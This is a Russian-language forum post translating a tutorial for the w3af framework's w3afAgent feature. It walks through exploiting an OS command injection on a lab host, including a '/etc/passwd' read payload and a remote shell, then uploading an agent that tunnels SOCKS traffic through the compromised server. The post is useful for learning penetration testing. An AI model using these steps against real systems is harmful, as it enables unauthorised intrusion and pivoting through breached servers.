Показать сообщение отдельно

  #6  
Старый 05.06.2009, 10:19
Kuzya
Участник форума
Регистрация: 27.04.2008
Сообщений: 224
С нами: 9494306

Репутация: 313
По умолчанию

w3afAgent
Как уже было сказано, w3afAgent позволяет создать SOCKS-прокси (в оригинальном тексте он именуется как "туннель для проведения TCP-соединений через атакованный сервер", но ниже пишется прямо - SOCKS-proxy - п.п.). В отличие от виртуального демона w3afAgent не требует установки стороннего софта. Перед тем как рассмотреть пример использования этой технологии, мы теоретический алгоритм работы с ним.
1. w3af находит уязвимость удалённого выполнения команд
2. Пользователь запускает w3afAgent
3. w3af посылает небольшой исполняемый файл на удалённый сервер. После выполнения он соединяется с w3af и позволяет фреймворку проверить правила файрвола для исходящих соединений.
4. w3afAgent Manager загружает w3afAgentClient на удалённый сервер. Процесс загрузки файла на удалённый сервер зависит от типа удалённой ОС, привилегий под которыми запущен w3af и типа локальной ОС. Затем происходит следующее
1. w3af берёт информацию из первого сканирования, которое про ходило в шаге 3 для того чтобы узнать какой порт можно использовать для соединения с атакованным сервером.
2. Если TCP-порт найден, w3af попытается запустить сервер на нём и сделать обратное соединение для скачивания PE/ELF файла. Если ни один ТСР-порт недоступен, w3af загружает PE/ELF-файл на удалённый сервер с помощью команды "echo". Этот способ самый медленный, но всегда срабатывает.
5. w3afAgent Manager запускает w3afAgentServer на локальном хосте, порт 1080. И на интерфейсе указанном в misc-settings->interface, на порту который был найден в 3 шаге.
6. The w3afAgentClient осуществляет обратное соединение к w3afAgentServer и создаёт туннель
7. Пользователь настраивает нужные программы на работу с SOCKS-прокси по адресу localhost:1080
8. Когда программы будут соединятся с прокси-сервером весь трафик будет идти через атакованный сервер.

Вот пример практической реализации:
Цитата:
$ ./w3af_console
w3af>>> plugins
w3af/plugins>>> audit osCommanding
w3af/plugins>>> audit
Enabled audit plugins:
osCommanding
w3af/plugins>>> back
w3af>>> target
w3af/target>>> set target http://172.10.10.1/w3af/v.php?c=list
w3af/target>>> back
w3af>>> start
The list of found URLs is:
http://172.10.10.1/w3af/v.php
Found 1 URLs and 1 different points of injection.
The list of Fuzzable requests is:
http://172.10.10.1/w3af/v.php | Method: GET | Parameters: (c)
Starting osCommanding plugin execution.
OS Commanding was found at: http://172.10.10.1/w3af/v.php .
Using method: GET. The data sent was: c=%2Fbin%2Fcat+%2Fetc
%2Fpasswd The vulnerability was found in the request with id 2.
w3af>>> exploit
w3af/exploit>>> exploit osCommandingShell
osCommanding exploit plugin is starting.
The vulnerability was found using method GET, tried to change
the method to POST for exploiting but failed.
Vulnerability successfully exploited.
Execute "exitPlugin" to get out of the remote shell. Commands
typed in this menu will be runned on the remote web server.
Ничего нового. Мы настроили фреймворк, запустили сканирование и нашли уязвимость.
Цитата:
w3af/exploit/osCommandingShell>>> start w3afAgent
Initializing w3afAgent system, please wait.
Please wait some seconds while w3af performs an extrusion scan.
The extrusion scan failed.
Error: The user running w3af can't sniff on the specified
interface. Hints: Are you root? Does this interface exist?
Using inbound port "5060" without knowing if the remote host
will be able to connect back.
Последнее сообщение показано потому что w3af запущен под правами обычного пользователя и сканирование не может быть произведено. Отчёт об удачном сканировании выглядит примерно так:
Цитата:
Please wait some seconds while w3af performs an extrusion scan.
ExtrusionServer listening on interface: eth1
Finished extrusion scan.
The remote host: "172.10.10.1" can connect to w3af with these
ports:
25/TCP
80/TCP
53/TCP
1433/TCP
8080/TCP
53/UDP
69/UDP
139/UDP
1025/UDP
The following ports are not bound to a local process and can be
used by w3af:
25/TCP
53/TCP
1433/TCP
8080/TCP
Selecting port "8080/TCP" for inbound connections from the
compromised server to w3af.
Дальше, в обоих случаях (при запуске с правами обычного пользователя и супер- пользователя), Вы должны увидеть описание следующих шагов:
Цитата:
Starting w3afAgentClient upload.
Finished w3afAgentClient upload.
Please wait 30 seconds for w3afAgentClient execution.
w3afAgent service is up and running.
You may start using the w3afAgent that is listening on port
1080. All connections made through this SOCKS daemon will be
relayed using the compromised server.
И теперь из другой консоли мы можем использовать socksClient для проведения соединений через атакованный сервер:
Цитата:
$ nc 172.10.10.1 22
(UNKNOWN) [172.10.10.1] 22 (ssh) : Connection refused
$ python socksClient.py 127.0.0.1 22
SSH2.0OpenSSH_
4.3p2 Debian8ubuntu1
Protocol mismatch.
$ cat socksClient.py
import extlib.socksipy.socks as socks
import sys
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS4,"localhost")
s.connect((sys.argv[1],int(sys.argv[2])))
s.send('\n')
print s.recv(1024)
Дополнительная информация
Дополнительная информация о фреймворке типа HOWTO, продвинутое использование, ошибки, TODO-list и новости, могут быть найдены на домашней странице проекта:
http://w3af.sf.net/
Проект w3af имеет 2 листа рассылок - один для пользователей, второй для разработчиков. Если у Вас есть какие-то вопросы или комментарии по фреймворку то обращайтесь в эти рассылки: http://sourceforge.net/mail/?group_id=170274

Ошибки и недоработки
Фреймворк находится в стадии развития и имеет множество ошибок и недоработок. Если Вы скачали последнюю его версию и нашли в ней какую-то ошибку, то сообщите пожалуйста нам с описанием всех деталей. Для этого обратитесь сюда: http://sourceforge.net/tracker/?group_id=170274&atid=853652

Помощники
Мною всегда приветствуется помощь сторонних разработчиков. В ближайшее время будет написано руководство разработчиков по написанию плагинов. Для того чтобы узнать список ошибок и TODO-лист смотрите пожалуйста следующую ссылку:
http://sourceforge.net/pm/?group_id=170274

Последнее слово
Этот документ лишь простое введение во фреймворк. Полные знания по нему могут быть получены только при непосредственной работе с ним. Делайте ошибки, учитесь на них и с каждым шагом становитесь всё умнее.
 
Ответить с цитированием